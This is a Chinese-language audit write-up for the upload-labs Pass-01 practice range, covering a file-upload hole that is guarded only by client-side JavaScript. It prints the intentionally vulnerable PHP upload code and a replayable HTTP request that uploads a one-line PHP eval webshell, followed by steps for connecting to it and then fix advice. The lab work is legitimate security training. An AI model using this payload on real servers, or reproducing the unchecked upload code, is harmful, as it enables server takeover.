upload-labs_Pass-01_2026-08-09

upload-labs 文件上传漏洞靶场代码审计报告

一、靶场信息

项目 内容
靶场名称 upload-labs
关卡编号 Pass-01
漏洞类型 前端 JS 校验绕过
审计日期 2026-08-09
目标文件 Pass-01/index.php

二、漏洞概述

Pass-01 仅在客户端通过 JavaScript 校验上传文件的后缀名,服务端未对文件类型做任何校验。攻击者可以通过抓包修改请求、禁用浏览器 JS 或构造表单直接绕过前端限制,上传 PHP 等可执行脚本文件,从而获取服务器权限。

  • 危险等级:高危
  • 影响范围:可上传任意类型文件,包括 WebShell

三、问题代码位置

文件路径Pass-01/index.php

问题代码片段

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

前端校验代码(第 64-82 行)

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

四、漏洞分析

4.1 为什么存在这个问题

  1. 服务端无校验:服务端代码直接使用 $_FILES['upload_file']['name'] 作为保存文件名,未对文件后缀、MIME 类型或文件内容做任何检查。
  2. 前端校验不可靠checkFile() 函数运行在浏览器端,攻击者可以完全控制客户端环境(禁用 JS、修改 JS、直接构造 HTTP 请求)。前端校验只能提升用户体验,不能作为安全机制。

4.2 校验逻辑缺陷

  • 校验位置错误:安全校验必须放在服务端执行。
  • 保存文件名可控:$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] 直接使用原始文件名,未做随机化处理。

五、利用思路

攻击者可以通过以下任意一种方式绕过前端校验:

  1. Burp/Yakit 抓包修改:先选择一个 .jpg 文件触发前端校验,提交后拦截请求,将文件名修改为 shell.php,文件内容替换为 PHP 一句话木马。
  2. 禁用浏览器 JavaScript:直接绕过 checkFile() 函数。
  3. 手动构造表单:不通过页面表单,直接发送 multipart POST 请求上传任意文件。

六、POC(Yakit 可直接重放)

6.1 前提条件

  • 靶场已部署,访问地址为 http://target.com/upload-labs/Pass-01/index.php
  • 已准备好 WebShell 文件内容,例如:
<?php @eval($_POST['cmd']); ?>

6.2 Yakit 重放 HTTP 请求包

POST /upload-labs/Pass-01/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--

6.3 利用步骤

  1. 在 Yakit 中新建一个 Web Fuzzer / HTTP 请求。
  2. 将上述请求包粘贴到请求区域。
  3. 根据实际部署地址修改 Host 和请求路径。
  4. 点击发送,若返回页面显示上传成功图片或无明显错误提示,说明文件已上传。
  5. 访问 http://target.com/upload-labs/upload/shell.php
  6. 使用蚁剑、冰蝎或 Yakit 连接该 WebShell,密码为 cmd

七、修复建议

  1. 服务端进行后缀白名单校验:仅允许上传预期的图片后缀(如 jpgpnggif)。
  2. 服务端进行 MIME 校验与文件内容校验:不能仅依赖 $_FILES['type']
  3. 重命名上传文件:使用随机文件名,不要保留用户原始文件名。
  4. 移除前端校验作为唯一安全机制:前端校验仅作辅助提示。
  5. 将上传目录设置为不可执行:避免上传目录中的脚本被 Web 服务器解析。

安全代码示例

$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
    die('不支持的文件类型');
}
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $new_name);

八、参考链接

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部